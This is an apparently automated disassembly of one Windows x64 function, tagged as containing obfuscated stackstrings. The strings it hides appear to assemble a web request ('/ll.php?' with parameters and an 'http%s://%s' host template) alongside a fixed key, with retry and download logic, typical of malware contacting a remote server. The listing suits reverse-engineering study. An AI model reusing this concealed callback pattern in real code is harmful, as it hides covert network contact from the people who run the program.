Function at 0x14001a988
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x1400dc020]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov qword [rsp + 0x78], r9
mov bl, r8b
mov rax, rcx
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp + 0x280]
mov qword [rsp + 0x70], rcx
mov rcx, qword [rbp + 0x288]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rbp + 0x290]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rbp + 0x298]
mov qword [rsp + 0x58], rcx
xor r13d, r13d
mov dword [rsp + 0x30], r13d
mov byte [rsp + 0x40], r13b
mov byte [r9], r13b
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.140023e68
nop
mov word [rbp + 0xf0], 0x3d69
mov byte [rbp + 0xf2], r13b
mov dword [rbp + 0xe8], 0x2e6c6c2f
mov word [rbp + 0xed], 0x7068
mov byte [rbp + 0xef], 0x3f
mov byte [rbp + 0xec], reloc.WS2_32.dll_WSASetLastError
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x30], r13
lea r12d, [r13 + 0xf]
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x40], r13b
mov word [rbp + 0xe0], 0x7826
mov byte [rbp + 0xe2], 0x3d
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x60]
test bl, bl
je 0x14001ae42
mov dword [rsp + 0x38], 0x3d7026
mov word [rbp + 0xe3], 0x2632
mov word [rbp + 0xe6], 0x3d
mov byte [rbp + 0xe5], 0x65
call fcn.1400234b8
nop
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.140021714
mov dword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x14001aad6
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x20]
call fcn.140021048
nop
mov qword [rbp], r13
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
lea rdx, [rbp - 0x20]
lea rcx, [rbp]
call fcn.140021714
mov dword [rsp + 0x30], 3
mov r8d, 0x20
lea rdx, str.1af3edf2e0db4686841b9423a14fb240
lea rcx, [rbp]
call fcn.140021048
nop
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.140021714
mov dword [rsp + 0x30], 7
lea rax, [rbp + 0xe0]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x14001ab51
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x20]
call fcn.140021048
nop
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x60]
call fcn.140021714
mov dword [rsp + 0x30], r12d
mov r8d, 1
lea rdx, [0x1400d1dd0]
lea rcx, [rbp - 0x60]
call fcn.140021048
lea rcx, [rbp - 0x40]
mov edi, reloc.WS2_32.dll_recv
cmp qword [rbp - 0x28], rdi
cmovae rcx, qword [rbp - 0x40]
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], rdi
cmovae rax, qword [rbp - 0x60]
mov esi, 0x1000
cmp rcx, rax
je 0x14001acfc
mov qword [rbp - 0x30], r13
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], rdi
cmovae rax, qword [rbp - 0x40]
mov byte [rax], r13b
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], rdi
cmovae rax, qword [rbp - 0x60]
mov qword [rbp + 0xe0], rax
mov r12, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x28]
mov qword [rbp + 0xf8], rcx
cmp r12, rcx
ja 0x14001ac2f
lea rbx, [rbp - 0x40]
cmp rcx, rdi
cmovae rbx, qword [rbp - 0x40]
mov qword [rbp - 0x30], r12
mov r8, r12
mov rdx, rax
mov rcx, rbx
call fcn.140028de0
mov byte [rbx + r12], r13b
jmp 0x14001acf6
movabs rbx, 0x7fffffffffffffff
cmp r12, rbx
ja 0x14001b8a3
mov rdx, r12
or rdx, 0xf
cmp rdx, rbx
jbe 0x14001ac5a
movabs rcx, 0x8000000000000000
jmp 0x14001ac82
mov r8, rcx
shr r8, 1
mov rax, rbx
sub rax, r8
cmp rcx, rax
ja 0x14001ac4e
lea rax, [rcx + r8]
mov rbx, rdx
cmp rdx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, rsi
jb 0x14001ac89
call fcn.140021a0c
jmp 0x14001ac93
test rcx, rcx
je 0x14001ac96
call fcn.140026e74
mov r13, rax
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rbx
mov r8, r12
mov rdx, qword [rbp + 0xe0]
mov rcx, r13
call fcn.140028de0
mov byte [r12 + r13], 0
mov rax, qword [rbp + 0xf8]
cmp rax, rdi
jb 0x14001acef
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rsi
jb 0x14001acea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8a9
call fcn.140026e6c
mov qword [rbp - 0x40], r13
xor r13d, r13d
mov r12d, reloc.WS2_32.dll_ntohs
mov rdx, qword [rbp - 0x48]
cmp rdx, rdi
jb 0x14001ad32
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14001ad2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8af
call fcn.140026e6c
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x60], r13b
mov rdx, qword [rbp + 0x38]
cmp rdx, rdi
jb 0x14001ad74
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x14001ad6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8b5
call fcn.140026e6c
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x20], r13b
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x14001adb6
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rsi
jb 0x14001adb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8bb
call fcn.140026e6c
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r12
mov byte [rbp], r13b
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x14001adf8
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x14001adf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8c1
call fcn.140026e6c
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r12
mov byte [rbp - 0x20], r13b
mov rdx, qword [rbp + 0x78]
cmp rdx, rdi
jb 0x14001b1f9
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b1f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b89d
jmp 0x14001b1f4
mov word [rsp + 0x39], 0x3d70
mov byte [rsp + 0x3b], r13b
mov byte [rsp + 0x38], 0x26
mov dword [rbp + 0xe3], 0x3d652631
mov byte [rbp + 0xe7], r13b
call fcn.1400234b8
nop
mov qword [rbp], r13
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
mov rdx, rax
lea rcx, [rbp]
call fcn.140021714
mov edi, reloc.WS2_32.dll_recv
mov dword [rsp + 0x30], edi
lea rax, [rsp + 0x38]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x14001ae97
lea rdx, [rsp + 0x38]
lea rcx, [rbp]
call fcn.140021048
nop
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.140021714
mov dword [rsp + 0x30], 0x30
mov r8d, 0x20
lea rdx, str.1af3edf2e0db4686841b9423a14fb240
lea rcx, [rbp + 0x20]
call fcn.140021048
nop
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.140021714
mov dword [rsp + 0x30], reloc.WS2_32.dll_WSASetLastError
lea rax, [rbp + 0xe0]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x14001af12
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x20]
call fcn.140021048
nop
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x60]
call fcn.140021714
mov dword [rsp + 0x30], 0xf0
mov r8d, 1
lea rdx, [0x1400d1dd0]
lea rcx, [rbp - 0x60]
call fcn.140021048
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], rdi
cmovae rcx, qword [rbp - 0x40]
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], rdi
cmovae rax, qword [rbp - 0x60]
mov esi, 0x1000
cmp rcx, rax
je 0x14001b0bb
mov qword [rbp - 0x30], r13
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], rdi
cmovae rax, qword [rbp - 0x40]
mov byte [rax], r13b
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], rdi
cmovae rax, qword [rbp - 0x60]
mov qword [rbp + 0xe0], rax
mov r12, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x28]
mov qword [rbp + 0xf8], rcx
cmp r12, rcx
ja 0x14001afee
lea rbx, [rbp - 0x40]
cmp rcx, rdi
cmovae rbx, qword [rbp - 0x40]
mov qword [rbp - 0x30], r12
mov r8, r12
mov rdx, rax
mov rcx, rbx
call fcn.140028de0
mov byte [rbx + r12], r13b
jmp 0x14001b0b5
movabs rbx, 0x7fffffffffffffff
cmp r12, rbx
ja 0x14001b8c7
mov rdx, r12
or rdx, 0xf
cmp rdx, rbx
jbe 0x14001b019
movabs rcx, 0x8000000000000000
jmp 0x14001b041
mov r8, rcx
shr r8, 1
mov rax, rbx
sub rax, r8
cmp rcx, rax
ja 0x14001b00d
lea rax, [rcx + r8]
mov rbx, rdx
cmp rdx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, rsi
jb 0x14001b048
call fcn.140021a0c
jmp 0x14001b052
test rcx, rcx
je 0x14001b055
call fcn.140026e74
mov r13, rax
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rbx
mov r8, r12
mov rdx, qword [rbp + 0xe0]
mov rcx, r13
call fcn.140028de0
mov byte [r12 + r13], 0
mov rax, qword [rbp + 0xf8]
cmp rax, rdi
jb 0x14001b0ae
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b0a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8cd
call fcn.140026e6c
mov qword [rbp - 0x40], r13
xor r13d, r13d
mov r12d, reloc.WS2_32.dll_ntohs
mov rdx, qword [rbp - 0x48]
cmp rdx, rdi
jb 0x14001b0f1
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b0ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8d3
call fcn.140026e6c
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x60], r13b
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x14001b133
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b12e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8d9
call fcn.140026e6c
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r12
mov byte [rbp - 0x20], r13b
mov rdx, qword [rbp + 0x38]
cmp rdx, rdi
jb 0x14001b175
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b170
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8df
call fcn.140026e6c
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x20], r13b
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x14001b1b7
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b1b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8e5
call fcn.140026e6c
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r12
mov byte [rbp], r13b
mov rdx, qword [rbp + 0x78]
cmp rdx, rdi
jb 0x14001b1f9
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b1f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8eb
call fcn.140026e6c
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x40], r13b
mov dword [rbp + 0x106], 0x73252f2f
mov word [rbp + 0x103], 0x7370
mov word [rbp + 0x10b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10a], 0x25
mov word [rbp + 0x100], 0x7468
mov byte [rbp + 0x105], 0x3a
mov byte [rbp + 0x102], reloc.WS2_32.dll_WSACleanup
mov dword [rbp + 0xe8], 0x616f7373
mov dword [rbp + 0xec], 0x632e6d70
mov word [rbp + 0xf1], WSACleanup
mov byte [rbp + 0xf0], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x20]
call fcn.140023e68
nop
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], rdi
cmovae r9, qword [rbp - 0x40]
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], rdi
cmovae r8, qword [rbp - 0x20]
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x40]
call fcn.140022e30
nop
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x14001b2d9
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b2d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8f1
call fcn.140026e6c
mov r12d, r13d
cmp r12d, 3
jne 0x14001b32d
mov dword [rbp + 0xe2], 0x7068702e
mov word [rbp + 0xe0], 0x6c6c
mov byte [rbp + 0xe6], r13b
mov dword [rbp + 0xfb], 0x706870
mov word [rbp + 0xf8], 0x6767
mov byte [rbp + 0xfa], 0x2e
lea r8, [rbp + 0xf8]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x40]
call fcn.140021fe4
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x110]
call fcn.140028c20
lea rcx, [rbp + 0x110]
call fcn.14000493c
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xb0], r13
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xb8], rbx
mov byte [rbp + 0xa0], r13b
mov qword [rbp], r13
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
lea rdx, [rbp + 0x40]
lea rcx, [rbp]
call fcn.140021714
nop
mov dword [rbp + 0xeb], 0x253d656d
mov word [rbp + 0xef], 0x64
mov word [rbp + 0xe8], 0x7426
mov byte [rbp + 0xea], WSAGetLastError
call fcn.1400087ec
mov r8d, eax
lea rdx, [rbp + 0xe8]
lea rcx, [rbp]
call fcn.140023268
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], rbx
mov byte [rbp - 0x60], r13b
mov dword [rsp + 0x38], r13d
lea rdx, [rbp]
cmp qword [rbp + 0x18], rdi
cmovae rdx, qword [rbp]
lea r8, [rsp + 0x38]
call fcn.14001eb74
test al, al
jne 0x14001b43d
mov ecx, 0x1f4
call fcn.14001f860
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, rdi
jb 0x14001b434
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b42f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8fd
call fcn.140026e6c
mov qword [rbp - 0x48], rbx
jmp 0x14001b6bf
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rbx
mov byte [rbp + 0x20], r13b
mov r13d, dword [rsp + 0x38]
mov r8d, r13d
lea rdx, str.itcdl__d
lea rcx, [rbp + 0x20]
call fcn.140022e30
lea rax, [rbp - 0x20]
mov qword [rsp + 0x38], rax
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.140021714
nop
mov rbx, qword [rsp + 0x48]
mov rdx, rbx
lea rcx, [rbp + 0x60]
call fcn.140023e68
nop
lea rdx, [rbp - 0x20]
mov rcx, rax
call fcn.14001e670
cmp r13d, 0xa
jge 0x14001b62d
lea rdx, [rbp]
cmp qword [rbp + 0x18], rdi
cmovae rdx, qword [rbp]
lea r8, [rbp - 0x60]
call fcn.14001011c
test al, al
je 0x14001b62d
mov r8d, 0xa
cmp qword [rbp - 0x50], r8
cmovbe r8, qword [rbp - 0x50]
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], rdi
cmovae rdx, qword [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.140021b54
nop
lea r9, [rbp + 0x80]
cmp qword [rbp + 0x98], rdi
cmovae r9, qword [rbp + 0x80]
mov r8d, dword [rbp - 0x50]
lea rdx, str.itcsal__d__s
lea rcx, [rbp + 0x20]
call fcn.140022e30
lea rax, [rbp - 0x20]
mov qword [rsp + 0x50], rax
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.140021714
nop
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140023e68
nop
lea rdx, [rbp - 0x20]
mov rcx, rax
call fcn.14001e670
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], rdi
cmovae rdx, qword [rbp - 0x60]
lea rcx, [rbp + 0x60]
call fcn.140023e68
nop
lea rcx, [rbp + 0x60]
call fcn.140021d44
mov word [rsp + 0x30], 0x3031
mov byte [rsp + 0x32], 0
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.140022894
or rcx, 0xffffffffffffffff
cmp rax, rcx
cmove eax, ecx
test eax, eax
js 0x14001b617
lea rax, [rbp - 0x80]
mov qword [rsp + 0x50], rax
lea rdx, str.itcsa10
lea rcx, [rbp - 0x80]
call fcn.140023e68
mov rbx, rax
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp - 0x20]
call fcn.140023e68
nop
mov rdx, rbx
mov rcx, rax
call fcn.14001e670
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp - 0x80]
call fcn.140023e68
mov byte [rsp + 0x28], 0
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14001b918
nop
lea rcx, [rbp + 0x60]
call fcn.14002189c
nop
lea rcx, [rbp + 0x80]
call fcn.14002189c
lea eax, [r13 - 0x10]
cmp eax, 0xffff0
ja 0x14001b71a
mov ecx, 0x1f4
call fcn.14001f860
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, rdi
jb 0x14001b67e
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b678
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8f7
call fcn.140026e6c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, rdi
jb 0x14001b6b4
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b6af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8fd
call fcn.140026e6c
xor r13d, r13d
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], r13b
mov qword [rbp - 0x50], r13
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x14001b6fe
inc rdx
mov rcx, qword [rbp]
cmp rdx, rsi
mov rax, rcx
jb 0x14001b6f8
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b903
call fcn.140026e6c
nop
inc r12d
cmp r12d, 6
jl 0x14001b2dc
mov bl, byte [rsp + 0x40]
mov r12d, reloc.WS2_32.dll_ntohs
jmp 0x14001b7e3
mov rax, qword [rsp + 0x78]
mov byte [rax], 1
cmp r13d, 0x100000
setg bl
mov rdx, qword [rbp + 0x38]
cmp rdx, rdi
jb 0x14001b763
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b75d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8f7
call fcn.140026e6c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, rdi
jb 0x14001b799
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b794
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b8fd
call fcn.140026e6c
xor r13d, r13d
mov qword [rbp - 0x50], r13
lea r12d, [r13 + 0xf]
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x60], r13b
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x14001b7e3
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b7dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b903
call fcn.140026e6c
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, rdi
jb 0x14001b819
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b814
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b909
call fcn.140026e6c
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x40], r13b
mov rdx, qword [rbp - 0x28]
cmp rdx, rdi
jb 0x14001b857
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rsi
jb 0x14001b852
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b897
call fcn.140026e6c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x40], r13b
lea rcx, [rbp + 0xc0]
call fcn.14002189c
mov al, bl
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.140026bb0
mov rbx, qword [rsp + 0x368]
add rsp, 0x330
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.1400218f8
int3
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.1400218f8
int3
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3